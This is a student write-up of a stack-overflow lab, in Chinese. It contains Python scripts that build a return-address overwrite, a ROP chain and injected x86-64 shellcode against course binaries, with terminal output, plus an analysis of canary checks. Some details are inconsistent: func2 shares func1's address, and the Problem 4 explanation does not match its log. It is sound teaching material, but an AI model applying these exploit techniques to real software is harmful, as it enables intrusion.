

栈溢出攻击实验

题目解决思路

Problem 1

- 分析:

通过 objdump 分析 problem1 的汇编代码，发现 func 函数中存在栈溢出漏洞。该函数调用 strcpy 将输入复制到栈上的缓冲区，且未进行长度检查。

通过分析汇编指令 lea -0x8(%rbp),%rax 可知，缓冲区起始地址位于 rbp - 8。为了覆盖返回地址 (Return Address)，需要填充 8 字节的缓冲区 加上 8 字节的 Old RBP，共计 16 字节的 Padding。

目标函数为 func1 (地址 0x401216)，该函数会输出 "Yes! I like ICS!"。因此攻击策略是构造 payload 覆盖返回地址跳转至 func1。

- 解决方案：使用 Python 脚本生成二进制 Payload。

```
import struct

# Problem 1 攻击脚本

# 1. 构造 Padding
# 缓冲区从 rbp-8 开始。
# 我们需要填充 8字节(buffer) + 8字节(saved rbp) = 16字节
padding_len = 16
padding = b'A' * padding_len

# 2. 构造目标地址
# func1 的地址是 0x401216
# <Q 代表 Little Endian (小端序), Unsigned Long Long (64位)
target_addr = struct.pack('<Q', 0x401216)

# 3. 组合 Payload
payload = padding + target_addr

# 4. 写入文件
# 题目要求 problem1 接收一个文件名参数
filename = "ans1.txt"
with open(filename, "wb") as f:
    f.write(payload)

print(f"[+] Payload 已写入 {filename}")
print(f"[+] Padding 长度: {padding_len}")
print(f"[+] 跳转目标: 0x401216 (func1)")
print("-" * 30)
print(f"请在终端运行: ./problem1 {filename}")
```

- 结果：

```
● spark@LAPTOP-I64V1F3M:~/attack-lab-Spark5114$ python3 exp1.py
[+] Payload 已写入 ans1.txt
[+] Padding 长度: 16
[+] 跳转目标: 0x401216 (func1)
-----
请在终端运行: ./problem1 ans1.txt
● spark@LAPTOP-I64V1F3M:~/attack-lab-Spark5114$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
```

Problem 2

- 分析：

题目开启了 **NX (No-Execute)** 保护，栈不可执行，因此无法使用 Shellcode，需要使用 **ROP (Return Oriented Programming)** 技术。

目标函数 **func2** 在执行时会检查第一个参数（**rdi** 寄存器）是否等于 **0x3f8**。

在程序中找到了一个 ROP Gadget: **pop rdi; ret** (地址 **0x4012c7**)。

攻击策略是：**覆盖返回地址 → 跳转到 Gadget → 栈上放置参数 0x3f8 → 跳转到 func2**，从而满足参数检查并通过。

- 解决方案：使用 Python 构造 ROP 链 Payload。

```
import struct

# Problem 2 攻击脚本 (ROP)

# 1. 基础信息
padding_len = 16
padding = b'A' * padding_len

# 2. 构造 ROP 链
# 这里的 <Q 表示 64位小端序打包

# [第一步] Gadget: pop rdi; ret
# 地址来源: 4012c7: 5f pop %rdi
pop_rdi_addr = struct.pack('<Q', 0x4012c7)

# [第二步] 参数值
# func2 要求参数为 0x3f8
arg1 = struct.pack('<Q', 0x3f8)

# [第三步] 目标函数 func2
# 地址来源: 401216 <func2>
func2_addr = struct.pack('<Q', 0x401216)
```

```

# 3. 组合 Payload
# 栈布局: [Padding] -> [pop_rdi] -> [0x3f8] -> [func2]
payload = padding + pop_rdi_addr + arg1 + func2_addr

# 4. 写入文件
filename = "ans2.txt"
with open(filename, "wb") as f:
    f.write(payload)

print(f"[+] Payload 已写入 {filename}")
print(f"[+] ROP Chain: pop_rdi -> 0x3f8 -> func2")
print("-" * 30)
print(f"请在终端运行: ./problem2 {filename}")

```

- **结果:** 成功利用 ROP 链绕过 NX 保护并完成传参。

```

● spark@LAPTOP-I64V1F3M:~/attack-lab-Spark5114$ python3 exp2.py
[+] Payload 已写入 ans2.txt
[+] ROP Chain: pop_rdi -> 0x3f8 -> func2
-----
请在终端运行: ./problem2 ans2.txt
● spark@LAPTOP-I64V1F3M:~/attack-lab-Spark5114$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!

```

Problem 3

- **分析:**

本题未开启 NX 保护，允许栈上代码执行。目标是调用 `func1` 并使参数 `rdi` 为 `114`。

通过分析发现辅助函数 `jmp_xs` (地址 `0x401334`)，该函数会跳转到 `saved_rsp + 16` 的位置。经计算，该位置正好指向输入缓冲区的起始处。

攻击策略为：在缓冲区中注入 **Shellcode** (汇编逻辑为：将 `114` 放入 `rdi` 并调用 `func1`)，然后将函数返回地址覆盖为 `jmp_xs` 的地址，利用它跳回栈上执行我们的代码。

- **解决方案:** 使用 Python 编写 Shellcode 并生成 Payload。

```

import struct

# Problem 3 攻击脚本 (Shellcode)

# 1. 构造 Shellcode
# 汇编指令:
# mov rdi, 0x72      (参数 114)
# mov rax, 0x401216  (目标函数 func1)
# call rax           (执行)

```

```

# 对应的机器码 (Hex):
shellcode = b"\x48\xc7\xc7\x72\x00\x00\x00" # mov rdi, 0x72
shellcode += b"\x48\xc7\xc0\x16\x12\x40\x00" # mov rax, 0x401216
shellcode += b"\xff\xd0" # call rax

# 2. 计算 Padding
# 缓冲区总大小是 32 字节 (0x20)
# 我们需要用 NOP (\x90) 或者垃圾数据填满剩余空间
buffer_size = 32
pad_len = buffer_size - len(shellcode)
padding = b'\x90' * pad_len # 使用 NOP 填充比较优雅

# 3. 构造栈帧覆盖
# [Shellcode + Pad] (32 bytes)
# [Old RBP] (8 bytes)
# [Ret Addr -> jmp_xs] (8 bytes)

fake_rbp = b'B' * 8
jmp_xs_addr = struct.pack('<Q', 0x401334) # 0x401334 是 jmp_xs 的地址

payload = shellcode + padding + fake_rbp + jmp_xs_addr

# 4. 写入文件
filename = "ans3.txt"
with open(filename, "wb") as f:
    f.write(payload)

print(f"[+] Payload 已写入 {filename}")
print(f"[+] Shellcode length: {len(shellcode)} bytes")
print(f"[+] 跳转路径: func -> jmp_xs (0x401334) -> Stack Buffer")
print("-" * 30)
print(f"请在终端运行: ./problem3 {filename}")

```

- 结果: Shellcode 成功执行。

```

● spark@LAPTOP-I64V1F3M:~/attack-lab-Spark5114$ python3 exp3.py
[+] Payload 已写入 ans3.txt
[+] Shellcode length: 16 bytes
[+] 跳转路径: func -> jmp_xs (0x401334) -> Stack Buffer
-----
请在终端运行: ./problem3 ans3.txt
⊗ spark@LAPTOP-I64V1F3M:~/attack-lab-Spark5114$ ./problem3 ans3.txt
bash: ./problem3: Permission denied
● spark@LAPTOP-I64V1F3M:~/attack-lab-Spark5114$ chmod +x problem1 problem2 problem3 problem4
● spark@LAPTOP-I64V1F3M:~/attack-lab-Spark5114$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114

```

Problem 4

- 分析：

Problem 4 开启了 **Canary** 保护机制，用于防止栈溢出。通过 `objdump` 查看 `func` 函数的汇编代码，可以看到 Canary 的设置与检查机制：

1. **Canary 设置 (Set up) :**

在函数序言部分，程序从 `%fs:0x28` 读取一个随机值，并将其放入栈帧底部 (`rpb-8`)。

```
136c: 64 48 8b 04 25 28 00 00 00    mov    %fs:0x28,%rax
1375: 48 89 45 f8                  mov    %rax,-0x8(%rbp)
```

2. **Canary 检查 (Check) :**

在函数返回前，程序从栈中取出该值，与 `%fs:0x28` 中的原值进行比较。如果不一致（说明发生了溢出覆盖），则调用 `__stack_chk_fail` 终止程序。

```
140a: 48 8b 45 f8                  mov    -0x8(%rbp),%rax
140e: 64 48 2b 04 25 28 00 00 00    sub    %fs:0x28,%rax
1417: 74 05                          je     141e <func+0xc1>
1419: e8 b2 fc ff ff                call   10d0 <__stack_chk_fail@plt>
```

- **解决方案：**本题主要考察对保护机制的理解与分析，无需编写攻击代码。通过输入正确的凯撒密码解密字符串，程序正常走完流程并返回。
- **结果：**成功分析出 Canary 保护在汇编层面的实现方式。

```
● spark@LAPTOP-I64V1F3M:~/attack-lab-Spark5114$ ./problem4
hi please tell me what is your name?
a
hi! do you like ics?
yes
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

思考与总结

通过本次实验，我深入学习了栈溢出攻击的原理与防御技术：

1. **栈帧结构：**理解了函数调用时栈的布局，特别是 Buffer、Old RBP 和 Return Address 的相对位置，这是计算 Payload 偏移量的基础。
2. **攻击技术：**掌握了从基础的覆盖返回地址，到利用 ROP 链绕过 NX 保护，再到利用 Shellcode 注入执行任意代码的进阶技术。

3. **防御机制**: 通过 Problem 4 深入理解了 Canary 机制是如何通过插入随机值来检测栈破坏的。这一机制大大增加了利用栈溢出的难度，因为攻击者通常需要先泄露 Canary 值才能成功劫持控制流。
4. **工具使用**: 熟练掌握了 `objdump` 进行反汇编分析以及 `gdb` 进行动态调试的技巧。

参考资料

1. *Computer Systems: A Programmer's Perspective (CSAPP), 3rd Edition.*
2. *CTF Wiki - Stack Overflow*: <https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/>
3. *GDB Documentation*.